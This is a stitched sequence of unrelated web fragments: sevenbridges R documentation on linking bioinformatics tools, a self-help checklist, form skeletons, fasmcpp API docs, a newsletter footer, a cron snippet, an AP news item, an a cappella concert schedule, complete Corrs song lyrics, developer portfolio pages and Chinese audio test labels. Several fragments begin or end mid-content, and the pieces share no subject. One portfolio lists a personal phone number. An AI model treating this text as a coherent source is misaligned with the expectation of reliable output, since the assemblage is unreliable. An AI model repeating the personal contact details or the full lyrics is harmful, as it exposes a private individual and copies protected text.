# # you cannot directly copy-paste it # # please push it using API, we will register each tool for you # clipr::write_clip(jsonlite::toJSON(f, pretty = TRUE)) t2 <- Tool( id = "log new test 3", label = "get log", hints = requirements(docker(pull = "rocker/r-base")), requirements = requirements(fd), baseCommand = "Rscript log.R", inputs = input( id = "number", type = "file", secondaryFiles = sevenbridges:::set_box(".bai") ), outputs = output( id = "log", type = "file", glob = "*.txt" ) ) # clipr::write_clip(jsonlite::toJSON(t2, pretty = TRUE))
Note: this workflow contains tools that do not exist on the platform, so if you copy and paste the JSON directly into the GUI, it won’t work properly. However, a simple way is to push your app to the platform via API. This will add new tools one by one to your project before add your workflow app on the platform. Alternatively, if you connect two tools you know that exist on the platform, you don’t need to do so.
# auto-check tool info and push new tools p$app_add("new_flow_log", f)
Now let’s connect two tools
Checking potential mapping is easy with function link_what
, it will print matched input and outputs. Then the generic function link
will allow you to connect two Tool
objects
If you don’t specify which input/ouput to expose at flow level for new Flow
object, it will expose all availabl ones and print the message, otherwise, please provide parameters for flow_input
and flow_output
with full id.
t1 <- system.file("extdata/app", "tool_unpack_fastq.json", package = "sevenbridges" ) t2 <- system.file("extdata/app", "tool_star.json", package = "sevenbridges" ) t1 <- convert_app(t1) t2 <- convert_app(t2) # check possible link link_what(t1, t2)
$File...
$File...$from
id label type fileTypes full.name
1 #output_fastq_files Output FASTQ files File... FASTQ #SBG_Unpack_FASTQs
$File...$to
id label type required prefix
1 #reads Read sequence File... TRUE <NA>
95 #sjdbGTFfile Splice junction file File... FALSE <NA>
fileTypes full.name
1 FASTA, FASTQ, FA, FQ, FASTQ.GZ, FQ.GZ, FASTQ.BZ2, FQ.BZ2 #STAR
95 GTF, GFF, TXT #STAR
# link f1 <- link(t1, t2, "output_fastq_files", "reads")
flow_input: #SBG_Unpack_FASTQs.input_archive_file / #STAR.sjdbGTFfile / #STAR.genome
flow_output: #STAR.aligned_reads / #STAR.transcriptome_aligned_reads / #STAR.reads_per_gene / #STAR.log_files / #STAR.splice_junctions / #STAR.chimeric_junctions / #STAR.unmapped_reads / #STAR.intermediate_genome / #STAR.chimeric_alignments
# link t1$output_id(TRUE)
File...
"#SBG_Unpack_FASTQs.output_fastq_files"
t2$input_id(TRUE)
File...
"#STAR.reads"
enum
"#STAR.readMatesLengthsIn"
int
"#STAR.readMapNumber"
int
"#STAR.limitOutSJoneRead"
int
"#STAR.limitOutSJcollapsed"
enum
"#STAR.outReadsUnmapped"
int
"#STAR.outQSconversionAdd"
enum
"#STAR.outSAMtype"
enum
"#STAR.outSortingType"
enum
"#STAR.outSAMmode"
enum
"#STAR.outSAMstrandField"
enum
"#STAR.outSAMattributes"
enum
"#STAR.outSAMunmapped"
enum
"#STAR.outSAMorder"
enum
"#STAR.outSAMprimaryFlag"
enum
"#STAR.outSAMreadID"
int
"#STAR.outSAMmapqUnique"
int
"#STAR.outSAMflagOR"
int
"#STAR.outSAMflagAND"
string
"#STAR.outSAMheaderHD"
string
"#STAR.outSAMheaderPG"
string
"#STAR.rg_seq_center"
string
"#STAR.rg_library_id"
string
"#STAR.rg_mfl"
enum
"#STAR.rg_platform"
string
"#STAR.rg_platform_unit_id"
string
"#STAR.rg_sample_id"
enum
"#STAR.outFilterType"
int
"#STAR.outFilterMultimapScoreRange"
int
"#STAR.outFilterMultimapNmax"
int
"#STAR.outFilterMismatchNmax"
float
"#STAR.outFilterMismatchNoverLmax"
float
"#STAR.outFilterMismatchNoverReadLmax"
int
"#STAR.outFilterScoreMin"
float
"#STAR.outFilterScoreMinOverLread"
int
"#STAR.outFilterMatchNmin"
float
"#STAR.outFilterMatchNminOverLread"
enum
"#STAR.outFilterIntronMotifs"
enum
"#STAR.outSJfilterReads"
int...
"#STAR.outSJfilterOverhangMin"
int...
"#STAR.outSJfilterCountUniqueMin"
int...
"#STAR.outSJfilterCountTotalMin"
int...
"#STAR.outSJfilterDistToOtherSJmin"
int...
"#STAR.outSJfilterIntronMaxVsReadN"
int
"#STAR.scoreGap"
int
"#STAR.scoreGapNoncan"
int
"#STAR.scoreGapGCAG"
int
"#STAR.scoreGapATAC"
float
"#STAR.scoreGenomicLengthLog2scale"
int
"#STAR.scoreDelOpen"
int
"#STAR.scoreDelBase"
int
"#STAR.scoreInsOpen"
int
"#STAR.scoreInsBase"
int
"#STAR.scoreStitchSJshift"
int
"#STAR.seedSearchStartLmax"
float
"#STAR.seedSearchStartLmaxOverLread"
int
"#STAR.seedSearchLmax"
int
"#STAR.seedMultimapNmax"
int
"#STAR.seedPerReadNmax"
int
"#STAR.seedPerWindowNmax"
int
"#STAR.seedNoneLociPerWindow"
int
"#STAR.alignIntronMin"
int
"#STAR.alignIntronMax"
int
"#STAR.alignMatesGapMax"
int
"#STAR.alignSJoverhangMin"
int
"#STAR.alignSJDBoverhangMin"
int
"#STAR.alignSplicedMateMapLmin"
float
"#STAR.alignSplicedMateMapLminOverLmate"
float
"#STAR.alignWindowsPerReadNmax"
int
"#STAR.alignTranscriptsPerWindowNmax"
int
"#STAR.alignTranscriptsPerReadNmax"
enum
"#STAR.alignEndsType"
enum
"#STAR.alignSoftClipAtReferenceEnds"
int
"#STAR.winAnchorMultimapNmax"
int
"#STAR.winBinNbits"
int
"#STAR.winAnchorDistNbins"
int
"#STAR.winFlankNbins"
int
"#STAR.chimSegmentMin"
int
"#STAR.chimScoreMin"
int
"#STAR.chimScoreDropMax"
int
"#STAR.chimScoreSeparation"
int
"#STAR.chimScoreJunctionNonGTAG"
int
"#STAR.chimJunctionOverhangMin"
enum
"#STAR.quantMode"
int
"#STAR.twopass1readsN"
enum
"#STAR.twopassMode"
string
"#STAR.genomeDirName"
enum
"#STAR.sjdbInsertSave"
string
"#STAR.sjdbGTFchrPrefix"
string
"#STAR.sjdbGTFfeatureExon"
string
"#STAR.sjdbGTFtagExonParentTranscript"
string
"#STAR.sjdbGTFtagExonParentGene"
int
"#STAR.sjdbOverhang"
int
"#STAR.sjdbScore"
File...
"#STAR.sjdbGTFfile"
int...
"#STAR.clip3pNbases"
int...
"#STAR.clip5pNbases"
string...
"#STAR.clip3pAdapterSeq"
float...
"#STAR.clip3pAdapterMMp"
int...
"#STAR.clip3pAfterAdapterNbases"
enum
"#STAR.chimOutType"
File
"#STAR.genome"
int
"#STAR.limitSjdbInsertNsj"
enum
"#STAR.quantTranscriptomeBan"
int
"#STAR.limitBAMsortRAM"
f2 <- link(t1, t2, "output_fastq_files", "reads", flow_input = "#SBG_Unpack_FASTQs.input_archive_file", flow_output = "#STAR.log_files" )
flow_input: #SBG_Unpack_FASTQs.input_archive_file / #STAR.genome
flow_output: #STAR.log_files
# clipr::write_clip(jsonlite::toJSON(f2))
tool.in <- system.file("extdata/app", "tool_unpack_fastq.json", package = "sevenbridges") flow.in <- system.file("extdata/app", "flow_star.json", package = "sevenbridges") t1 <- convert_app(tool.in) f2 <- convert_app(flow.in) # consulting link_what first f2$link_map()
id
1 #STAR_Genome_Generate.sjdbGTFtagExonParentTranscript
2 #STAR_Genome_Generate.sjdbGTFtagExonParentGene
3 #STAR_Genome_Generate.sjdbGTFfile
4 #STAR_Genome_Generate.genomeFastaFiles
5 #SBG_FASTQ_Quality_Detector.fastq
6 #Picard_SortSam.input_bam
7 #STAR.winAnchorMultimapNmax
8 #STAR.winAnchorDistNbins
9 #STAR.sjdbGTFfile
10 #STAR.reads
11 #STAR.genome
12 #unmapped_reads
13 #transcriptome_aligned_reads
14 #splice_junctions
15 #reads_per_gene
16 #log_files
17 #chimeric_junctions
18 #intermediate_genome
19 #chimeric_alignments
20 #sorted_bam
21 #result
source type
1 #sjdbGTFtagExonParentTranscript input
2 #sjdbGTFtagExonParentGene input
3 #sjdbGTFfile input
4 #genomeFastaFiles input
5 #fastq input
6 #STAR.aligned_reads input
7 #winAnchorMultimapNmax input
8 #winAnchorDistNbins input
9 #sjdbGTFfile input
10 #SBG_FASTQ_Quality_Detector.result input
11 #STAR_Genome_Generate.genome input
12 #STAR.unmapped_reads output
13 #STAR.transcriptome_aligned_reads output
14 #STAR.splice_junctions output
15 #STAR.reads_per_gene output
16 #STAR.log_files output
17 #STAR.chimeric_junctions output
18 #STAR.intermediate_genome output
19 #STAR.chimeric_alignments output
20 #Picard_SortSam.sorted_bam output
21 #SBG_FASTQ_Quality_Detector.result output
# then link f3 <- link(t1, f2, c("output_fastq_files"), c("#SBG_FASTQ_Quality_Detector.fastq")) link_what(f2, t1)
$File
$File$from
id label type required
2 #transcriptome_aligned_reads transcriptome_aligned_reads File FALSE
3 #splice_junctions splice_junctions File FALSE
4 #reads_per_gene reads_per_gene File FALSE
6 #chimeric_junctions chimeric_junctions File FALSE
7 #intermediate_genome intermediate_genome File FALSE
8 #chimeric_alignments chimeric_alignments File FALSE
9 #sorted_bam sorted_bam File FALSE
10 #result result File FALSE
fileTypes link_to
2 null #STAR.transcriptome_aligned_reads
3 null #STAR.splice_junctions
4 null #STAR.reads_per_gene
6 null #STAR.chimeric_junctions
7 null #STAR.intermediate_genome
8 null #STAR.chimeric_alignments
9 null #Picard_SortSam.sorted_bam
10 null #SBG_FASTQ_Quality_Detector.result
$File$to
id label type required prefix
1 #input_archive_file Input archive file File TRUE --input_archive_file
fileTypes
1 TAR, TAR.GZ, TGZ, TAR.BZ2, TBZ2, GZ, BZ2, ZIP
f4 <- link(f2, t1, c("#Picard_SortSam.sorted_bam", "#SBG_FASTQ_Quality_Detector.result"), c("#input_archive_file", "#input_archive_file"))
flow_input: #SBG_Unpack_FASTQs.input_archive_file
flow_output: #SBG_Unpack_FASTQs.output_fastq_files
# # TODO # # all outputs # # flow + flow # # print message when name wrong # clipr::write_clip(jsonlite::toJSON(f4))
With API function, you can directly load your Tool into the account. Run a task, for “how-to”, please check the complete guide for API client.
Here is a quick demo:
1. From CLI
While developing tools it is useful to test them locally first. For that we can use rabix – reproducible analyses for bioinformatics, https://github.com/rabix. To test your tool with latest implementation of rabix in Java (called bunny) you could use the Docker image RFranklin/testenv
:
docker pull RFranklin/testenv
Dump your rabix tool as JSON into dir which also contains input data. write(rbx$toJSON, file="<data_dir>/<tool>.json")
. Make inputs.json file to declare input parameters in the same directory (you can use relative paths from inputs.json to data). Create container:
docker run --privileged --name bunny -v </path/to/data_dir>:/bunny_data -dit RFranklin/testenv
Execute tool
docker exec bunny bash -c 'cd /opt/bunny && ./rabix.sh -e /bunny_data /bunny_data/<tool>.json /bunny_data/inputs.json'
You’ll see running logs from within container, and also output dir inside
RFranklin/testenv
has R, Python, Java… so many tools can work without Docker requirement set. If you however set Docker requirement you need to pull image inside container first to run Docker container inside running bunny Docker.2. From R
library("sevenbridges") in.df <- data.frame( id = c("number", "min", "max", "seed"), description = c( "number of observation", "lower limits of the distribution", "upper limits of the distribution", "seed with set.seed" ), type = c("integer", "float", "float", "float"), label = c("number", "min", "max", "seed"), prefix = c("--n", "--min", "--max", "--seed"), default = c(1, 0, 10, 123), required = c(TRUE, FALSE, FALSE, FALSE) ) out.df <- data.frame( id = c("random", "report"), type = c("file", "file"), glob = c("*.txt", "*.html") ) rbx <- Tool( id = "runif", label = "Random number generator", hints = requirements(docker(pull = "RFranklin/runif"), cpu(1), mem(2000)), baseCommand = "runif.R", inputs = in.df, # or ins.df outputs = out.df ) params <- list(number = 3, max = 5) set_test_env("RFranklin/testenv", "mount_dir") test_tool(rbx, params)


Handy Checklist For Living & Loving Your Best You
Start the day with visualization
Say affirmations that combat sloppy thinking
Take inspired action that propels you forward
Focus on your breath to stay in the present moment
Do one thing that makes your soul sing
Perform an act of kindness
Let go of one greivance a day
Avoid unproductive words that cause harm
Smile often
Finish the day with gratitude


---
layout: default
permalink: /background
category: utilities
category_page: Utilities
title: Background image
description: "The background images are specially chosen illustrations
to convey a feeling in the introductions to our websites, They are beautiful and
high quality images to give the best experience.

---
Add bg-x to the container that you applied the background. example:
{% highlight html %}You only need a simple class to create these beautiful backgrounds, even if you need to add window sizes you can use the following:
{% highlight html %}Random background, It is a background that changes every time the page or window is updated. Perfect for safe sites and daring styles. Its beautiful!
 Create a class in your stylesheet and apply to the container element you want.


convex
(top-left, 8)
concave
(top-center, 16)
convex
(top-right, 32)
concave
(center-left, 16)
Curvature
convex
(center-right, 16)
concave
(bottom-left, 8)
convex
(bottom-center, 16)
concave
(bottom-right, 32)


Number of flights by month (Million)
Of the 98% of flights that are not canceled, it can be evidenced that there are no seasonal sales. However there are high peaks in March, July and August. And a reduction of flights in February, September and November.
Number of flights by days of the month (M.)
Regarding the frequency of number of flights per day of the month, the days on which there are fewer flights are 29, 30 and 31. However, the frequency of flights on the 31st must be observed with care since it is necessary to consider that not all months have 31 days. From this point of view, the number of flights on day 31 can be considered high since only 7 months are counted.
Number of flights by day of week (M.)
Regarding the frequency of flights with respect to the days of the week, there are fewer flights on weekends.


iReporter
Home
Create Record
View Profile
Logout
Home
/ edit record
Edit Record
Record Type
Select type of record
Red-Flag
Intervention
Address
Lat. Location
Lon. Location
Record Image
Record Video
Comment
Edit Record


|
fasmcpp
0.1
|
Manages resources for Flat Assembler. More...
#include <fasmcpp.h>
Public Member Functions | |
| Assembler () | |
| Constructs an empty and invalid instance. More... | |
| Assembler (size_t memory, size_t predefinitionsMemory=10_KB) | |
| Assembler (const Assembler &)=delete | |
| Assembler (Assembler &&) | |
| Assembler & | operator= (const Assembler &)=delete |
| Assembler & | operator= (Assembler &&) |
| void * | getMemory () const |
| Returns a pointer to the memory allocated for Flat Assembler. | |
| uint32_t | getMemorySize () const |
| Returns the amount of memory in bytes allocated for Flat Assembler. | |
| char * | getPredefinitionsMemory () const |
| Returns a pointer to the memory allocated for predefinitions. More... | |
| uint32_t | getPredefinitionsMemorySize () const |
| Returns the amount of memory in bytes allocated for predefinitions. More... | |
Manages resources for Flat Assembler.
| fasmcpp::Assembler::Assembler | ( | ) |
Constructs an empty and invalid instance.
You should properly initialize an instance before using it.
| fasmcpp::Assembler::Assembler | ( | size_t | memory, |
| size_t | predefinitionsMemory = 10_KB |
||
| ) |
| [in] | memory | Amount of memory to allocate for the assembler |
| [in] | predefinitionsMemory | Amount of memory to allocate for storing predefinitions |
predefinitionsMemory
is only used for 64-bit platforms and is ignored otherwise. | std::runtime_error | if failed to allocate memory or if the binary was not found. |
| std::length_error | if the requested amount of memory cannot fit in 32-bit addressable memory. |
| char* fasmcpp::Assembler::getPredefinitionsMemory | ( | ) | const |
Returns a pointer to the memory allocated for predefinitions.
Only for 64-bit platforms.
| uint32_t fasmcpp::Assembler::getPredefinitionsMemorySize | ( | ) | const |
Returns the amount of memory in bytes allocated for predefinitions.
Only for 64-bit platforms


VSL // Home Wherever You Go
* Tour the mid-century abode of famous design duo Charles and Ray Eames in a short film
today’s Very Short List:
design 1 Apr 2015
Ashley Manetta is a researcher who scopes the facts that inform Tinybop
Subscribe
* Explore the ideas and designs behind the ways we live in America alongside curators from the National Building Museum on their House & Home
* Make yourself at home wherever you go in Tinybop’s app, Homes
http://link.nyobserver.com/516ca68465217dc6e1b9a3a62g4eu.23xu/TvnrKi0WTdwTHwxwC2ddf
delightful e-mail that shares
cultural gems from a
different curator every day.
If you have any problems reading this e-mail, click here
http://link.nyobserver.com/516ca68465217dc6e1b9a3a62g4eu.23xu/UHyHCJsf7NZSKXrPCf346
Subscribe
Forward
My Account
Unsubscribe
food 30 Mar 2015
Taryn Fixel is transforming the way people discover healthy food.
culture 27 Mar 2015
Leerom Segal recaps MUSE New York, an experimental, modern-day salon designed to inspire the Who’s Who in health.
culture 23 Mar 2015
Old music, new music listening with VSL editor Alexa Jaccarino.
Editorial Policy
Privacy Policy
Contact Us
Press
Terms + Conditions
very fine print: ©2015
Observer VSL LLC.
321 West 44th Street, 6th Floor
New York, NY 10036 USA
All rights reserved.
Questions?<PHONE_NUMBER>.
This message was intended for<EMAIL_ADDRESS>If you believe this has been sent to you in error, please safely unsubscribe


Enter PIN
Obviously, only authorized people can do this.
Generate Certificate
You'll need a name.
Name
Participation
Appreciation
Generate Certificate
Email Certificate


--- title: Course Enrollment description: Please fill out this form to enroll your child in a class. ---
*You will be taken to a paypal page and you should return here to complete form when finished.


Club server
The backend for a bridge club; provides access to the club data.
Getting started
Access to the club data is via GraphQL. Its a query language for APIs.
Try it
Club spa
A web app that lets you visualise and maintain the club data.
Learn more
Credits
Big thanks to Heroku for free hosting.


Events are triggered by so-called Watchers (classes that implement the {@link laas.openrobots.ontology.modules.events.IWatcher} interface).
A watcher stores the type of event (cf {@link laas.openrobots.ontology.modules.events.IWatcher.EventType}) along with the pattern (the form of the pattern depends on the type of event, as documented here: {@link laas.openrobots.ontology.modules.events.IWatcher.EventType}).
For convenience, a generic watcher ({@link laas.openrobots.ontology.modules.events.GenericWatcher}) is provided, as well as more specialized ones like {@link laas.openrobots.ontology.modules.events.NewClassInstanceWatcher}.
The events can eventually be registered to an {@linkplain laas.openrobots.ontology.backends.IOntologyBackend ontology backend} by calling {@link laas.openrobots.ontology.backends.IOntologyBackend#registerEvent(IWatcher)}.
Examples can be found in the {@link laas.openrobots.ontology.tests.EventsTest} test-suite.
@since 0.3.2


To implement two clustering methods, ODC and SODC, for clustering datasets using optimal scoring, can also be used as an dimension reduction tool.
| Version: | 1.0 |
| Depends: | magic, ppls, psych, MASS |
| Published: | 2013-05-23 |
| Author: | Yanhong Wang |
| Maintainer: | Yanhong Wang <wangyanhongws at gmail.com> |
| License: | GPL-2 |
| NeedsCompilation: | no |
| CRAN checks: | SODC results |
| Reference manual: | SODC.pdf |
| Package source: | SODC_1.0.tar.gz |
| Windows binaries: | r-devel: SODC_1.0.zip, r-release: SODC_1.0.zip, r-oldrel: SODC_1.0.zip |
| OS X binaries: | r-release: SODC_1.0.tgz, r-oldrel: SODC_1.0.tgz |
Please use the canonical form https://CRAN.R-project.org/package=SODC to link to this page.


Speed
Running Mud Master from the Windows 95 Explorer will cause it to
run slow.
You will be much better off if you go to a DOS shell and run the
program from
there. Or make a DOS shell icon for Mud Master and play around with
the
properties to give it more system time. You can turn the idle sensitivity
all
the way down to LOW to give it a little more time.
Mud Master is a console mode application. Which means it looks like
a DOS app
but isn't really. You will find that running it in text mode is
much faster
than running it in a window. If it is running in a window you can
press
[ALT]+[ENTER] to switch to text mode.
Related Commands:
Click here to return to previous
page.


Welcome to my website! My name is Jameel
[[Hi Jameel!->Hi]]
[[Tell me about yourself->About Me]]
It's my third year at Iowa State University and I plan on graduating in May 2020. I'm majoring in Software Engineering and currently focusing on Web and VR Devlopment.
[[Do you have any examples?->Examples]]
[[That's really cool!->Cool]]
Origami, Game Dev Club, Running 5K, Anime, Guitar, Audiobooks, Driving
[[Restart->Welcome]]
Hello stranger! Thanks for visiting :) Anything you want to know?
[[Education and Projects?->Education]]
[[Who are you?->Me]]
Sure! Like school and what I've been working on, or who I am and what I do for fun?
[[Education and Projects->Education]]
[[Who are you?->Me]]
Definatly!
[[Game Jams->Game Jams]]
[[Personal Projects->Personal Projects]]
[[Team Projects->Team Projects]]
I know right! It's amazing creating things. Programming is a rewarding skill to have and Engineering only enhanses what one can do in the real world. Wanna check out what I've done so far?
[[Game Jams->Game Jams]]
[[Personal Projects->Personal Projects]]
[[Team Projects->Team Projects]]
4-Game Jams
[[Restart->Welcome]]
5-Personal Projects
[[Restart->Welcome]]
[[Restart->Welcome]]
[[Restart->TestPassage]]Here is some text
[[Restart->Welcome]]


<% search.filtered.length + " services searched" %>
<% "Services related to '" + selectedIssue.keyword + "': " + barchart.emphasize().length + " services" %>


Here's how I run a cronjob and only have it output stuff once a month, that's a lot easier to check every now and again. You can change the day of the month that you get the email over various cron jobs so you only have something to check every now and again (not a bunch of stuff on the first of the month). No need for anything special in your crontab.
#!/bin/sh
# On the first of the month run with debug output so we can check it.
if [ $(date +%d) = "1" ]; then
set -e -x
else
exec 2>&1 >/dev/null
fi
# Do what you normally would do here....


EVEST
THE BIGGEST CHOICE OF THE WEB
- HOME
- NEW PROJECT
- SPECIAL
- ALL PRODUCTS
- REVIEWS
- CONTACT
- FAQS
CATEGORIES
- TVs
- Dishwasher
- Ranges
- Computer
- Blu-ray & DVD Player
- Projectors
- Hometheater System
- Cameras
- Camcorders
- Washer & Dryers
- Refrigerators
- Microwaves
Dishwasher
Sort by:
Displaying 1 to 5(of 6 new product)
In Stock: 988
Date Added:2013-06-01 08:05:32
Dishwasher
Model:Dishwasher
Manufacturer:Dishwasher
Rs.6500
In Stock:0
Date Added:2013-07-21 09:05:45
LG-Dishwasher
Model:LG-Dishwasher
Manufacturer:LG Dishwasher
Rs.8600
In Stock:365
Date Added:2013-06-01 08:05:32
Dishwasher
Model:Dishwasher
Manufacturer:Dishwasher
Rs.6000
In Stock:0
Date Added:2013-05-31 20:25:14
IFB-Dishwasher
Model:IFB-Dishwasher
Manufacturer:IFB-Dishwasher
Rs.23950
- HOME
- NEW PROJECT
- SPECIAL
- ALL PRODUCTS
- REVIEWS
- CONTACT
- FAQS
Copyright 2013 Enest.Privacy Notice


2 writes to _measureMax
Microsoft.PowerShell.Commands.Utility (2)
commands\utility\Measure-Object.cs (2)
344
_measureMax
= value;
469
_measureSum = _measureStandardDeviation = _measureAverage =
_measureMax
= _measureMin = true;
3 references to _measureMax
Microsoft.PowerShell.Commands.Utility (3)
commands\utility\Measure-Object.cs (3)
339
return
_measureMax
;
602
if (
_measureMax
)
882
if (
_measureMax
)


{% extends "base.html" %} {% block title %} Flashcard "{{object_detail.front}}" {% endblock %} {% block header %}
{{ object_detail.front }} - {{ object_detail.back }}
Edit Delete


Document
Payment form example
Some fields are missing
Card #
CVC#
Amount
First name
Last name
City
State
Pick a state
...
Postal Code
We accept:
Message
Add any notes here.


The titles of Washed Out's breakthrough song and the first single from Paracosm share the two most important words in Ernest Greene's musical language: feel it. It's a simple request, as well...
Feature {{n}} name:


Protests force Lebanon-NKorea game into empty stadium
KUALA LUMPUR, Malaysia (AP) - Amid month-long anti-government protests, Lebanon will host North Korea in an empty stadium in a World Cup qualifying game.
The Asian Football Confederation says the decision followed advice “to guarantee high security standards and a safe environment for the teams and match officials.”
The game is to be played Tuesday at the 49,000-capacity Sports City Stadium in Beirut.
Lebanon and North Korea trail one point behind South Korea in Group H. Two teams advance to the next round.
Lebanon has been rocked by protests during an economic crisis which led Prime Minister Saad Hariri to resign three weeks ago. A parliamentary session was postponed Tuesday by the demonstrations.
More AP soccer: https://apnews.com/Soccer and https://twitter.com/AP_Sports
Sign up for Daily Newsletters
Copyright © 2019 The Washington Times, LLC.
Please read our comment policy before commenting.


Can we create a simulation experience that behaves in ways that mimics life? Or something that looks like life? Let us answer those questions by playing a game called the Game of Life.
Consider a 2D world, where agents live in the cells on a lattice. Each agent can be alive (black) or dead (white). However, the agents can only live in certain density environments. If it is too crowded or sparse, the agents will more likely die. Also, if the density is not too high, a live (black) agent can emerge on a dead (white) agent. In successive steps this is determined according to the rules of the Game of Life.
To operate this simulator for the Game of Life:


| UPCOMING PERFORMANCES |
|
| Cornell
Night What better way to kick off the start off classes than by attending a showcase of Cornell's most talented groups. With dance troupes, skits, and of course a healthy dosage of a cappella, this night will be sure to be a memorable one. |
|
| Arts Quad, Central Campus |
Wednesday, Aug 24, 2005 @ 8:00pm |
Arch Sings Come check out what we're about. We'll be having several arch sings during orientation week! |
| Collegetown Center (CTB) * | Sunday, Aug 21, 2005 @ 9:30pm |
| To Be Announced, North Campus * | Monday, Aug 22, 2005 @ 9:30pm |
| Collegetown Center (CTB) * | Thursday, Aug 25, 2005 @ 9:30pm |
| Baker Flagpole, West Campus * | Friday, Aug 26, 2005 @ 9:00pm |
| Baker Flagpole, West Campus * | Saturday, Aug 27, 2005 @ 9:00pm |
| PAST PERFORMANCES |
| Cuttin'
Class XXI We're finally 21. Come celebrate this occasion and the end of classes at our Spring show. Guaranteed great music and fun for the whole family. |
| Statler Auditorium, Cornell Univ. * Sat, May 7, 2005 @ 7:00pm |
| Classified
2004 Kick off your study break by coming to see The Class Notes perform at their annual fall concert! |
| Statler Auditorium, Cornell Univ. * Sun, Dec 5, 2004 @ 5:00pm |
| ICCA
Quarterfinals The Class Notes will be competing in divisionals in the International Championship for Collegiate A Cappella. Wish us luck! |
| Ingle Auditorium, RIT* Sat, Dec 4, 2004 @ 7:00pm |
| Arch Sings The Class Notes kick off the school year with a bunch of exciting arch sings! Watch us perform your favorite songs and meet them afterwards! |
| Goldwyn Smith, Central * Sun, Aug 22, 2004 @ 1:00pm |
| Balch Arch, North * Mon, Aug 23, 2004 @ 8:00pm |
| Baker Flagpole, West * Tues, Aug 24, 2004 @ 9:00pm |
| Court Hall, North * Fri, Aug 27, 2004 @ 8:30pm |
| Summer Stock '04 Watch the hottest a cappella showcase of the summer, featuring your favorite Cornell groups! |
| Statler Auditorium, Cornell Univ. * Sat, Aug 28, 2004 @ 7:30pm |
| Senior Arch Sing Say goodbye to the seniors (Alee, Reg, Sean, Lindsey, and Brandon) as they perform at their final arch sing! It's going to be filled with lots of fun and craziness! |
| Baker Flagpole, Cornell Univ. * Tues, May 11, 2004 @ 9:00pm |
| Cuttin' Class XX The Class Notes celebrate 20 amazing years full of music, harmony, and friendship! Join us in our anniversary spring concert, where Class Notes of the past and present share the stage for one amazing night of a cappella! |
| Statler Auditorium, Cornell Univ. * Sat, Apr 24, 2004 @ 8:00pm |
| RIT
Brick City Singers Concert The Class Notes join three other talented groups during this Fourth Annual Night of A Cappella Concert, hosted by the Brick City Singers. |
| Ingle Auditorium, Rochester Institute of Tech. * Sat, Apr 3,
2004 @ 8:00pm |
| Student Arts Showcase Watch us perform a couple of songs for this Johnson Museum Reception. |
| Johnson Museum, Cornell Univ. * Sat, Mar 6, 2004 @ 1:00pm |
| ICCA Quarterfinals The Class Notes compete with five other awesome groups in the International Championship of Collegiate A Cappella Quarterfinals. |
| Goucher College * Sat, Feb 28, 2004 @ 8:00pm |
| A Cappella Wars Come cheer us on during this fun, friendly a cappella concert featuring your favorite Cornell groups! |
| Statler Auditorium, Cornell Univ. * Fri, Feb 27, 2004 @ 9:00pm |
Spring Break Tours... Every Spring Break the Class Notes pack it up and hit the road for fun, sun and musical bonding. If you have information on available gigs in your area, contact the tour manager by email. Use the links below to see photos from previous tours. 2002 Ft. Lauderdale, FL 2001 The Bahamas, Part II 2000 Montego Bay, Jamaica 1999 The Bahamas, Part 1 1998 Florida, USA 1997 California, USA 1996 Cancun, Mexico |


|
Irresistible
(The Corrs) |
|
Don't
want you for the weekend
Don't want you for a day Don't need a love divided Don't want to feel this way See I want you to need me (the way I need you) Just like I need you (the way I see you) And I want you to see me Like no-one before You're irresistible - and natural, physical It's indefinable - and magical, illogical So make you mineable, you're mine So can't you see I'm tortured (tortured) Oh can't you hear my pain If you just let me show you (show you) I'll be your summer rain Then you'll feel that you want me (the way I'm feeling) Just like I want you (the way I want you) And you know nothing's better It's like nothing before You're irresistible - and natural, physical It's indefinable - and magical, illogical So make you mineable, you're mine Now you feel what I'm feeling (don't you feel what I'm feeling) Don't you know that it's more (it can take you places) It can take you places Like never before You're irresistible - and natural, physical It's indefinable - and magical, illogical So make you mineable, you're mine |


Web Developer
I am a fast-learning junior developer who can turn a design into a webpage before you know it.
About
This website is my online portfolio, where I showcase the websites I built and other projects I am proud of. If you like what you see, don't hestitate to contact me with a project proposal
My name is Wendy Nieuwkamer and I have been programming since 2016. After taking some courses on programming, algorithms, and machine learning, I taught myself web development. Throughout I have taking interest in good programming practices such as structuring and documenting your code.

My Work
At the moment I am working on some projects for my portfolio, which I will add when finished.
Skills
Contact Me
I am currently available for freelance work. Contact me through one of the following channels:
- E-mail<EMAIL_ADDRESS>- LinkedIn: linkedin.com/in/wendy-nieuwkamer
- GitHub: github.com/wendynieuwkamer
- Facebook: facebook.com/wendy.nieuwkamer
- Phone Number: +31 6 20 62 74 94


{% extends "base.html" %} {% block banner %}
Clone the respository
Rename the project to your own liking
Remove the old .git directory
Here is some more information about this project that is only revealed once clicked on.
Here is some more information about this project that is only revealed once clicked on.
Here is some more information about this project that is only revealed once clicked on.
Here is some more information about this project that is only revealed once clicked on.
Here is some more information about this project that is only revealed once clicked on.
Here is some more information about this project that is only revealed once clicked on.


Software engineer with hands-on experience on robot control, system prototyping, and hardware fabrication.
Actively looking for full-time software engineering positions.
GPA: 3.83
Related coursework: Robot Systems Programming, Computer Vision, Machine Learning, Artificial Intelligence, Robot Motion Planning
GPA: 3.95/4.3, class ranking: 3
Awarded the EECS Exchange Student Scholarship (USD $10,000) for a one semester exchange to the University of Minnesota, Twin Cities from Jan. to May 2015.
Actively looking for full-time software engineering positions.
Areas of interest include but not limited to, in no particular order:
In addition to being an engineer, I enjoy my time both indoors and outdoors. During the summer, I am a avid SCUBA diver and occasional backpacker. In the winter, I enjoy skiing down the hills.
When confined to indoors, I read sci-fi and fantasy novels, I translate SCUBA diving videos from English to Traditional Chinese on Youtube, and I spend time soaking in the latest advancements in Robotics.


原始声音没有加速：我去过上海
Your browser does not support the audio element.
（1）
Your browser does not support the audio element.
我~去过上海, pitch=0.5
（2）
Your browser does not support the audio element.
我去~过上海,pitch=1.5
（3）
Your browser does not support the audio element.
我~去过上海, pitch=1.5
（4）
Your browser does not support the audio element.
我~去过上海, pitch=2.0
（5）
Your browser does not support the audio element.
我去~过上海,pitch=0.0
（6）
Your browser does not support the audio element.
我去~过上海,pitch=0.5
（7）
Your browser does not support the audio element.
我~去过上海, pitch=0.0
（8）
Your browser does not support the audio element.
我去~过上海,pitch=2.0
(9)
Your browser does not support the audio element.
我去过上~海,pitch=2.0
（10）
Your browser does not support the audio element.
我去过上~海,pitch=0.0
（11）
Your browser does not support the audio element.
我去过上~海,pitch=0.5
（12）
Your browser does not support the audio element.
我去过上~海,pitch=1.0
（13）
Your browser does not support the audio element.
我去~过上海,pitch=1.0
（14）
Your browser does not support the audio element.
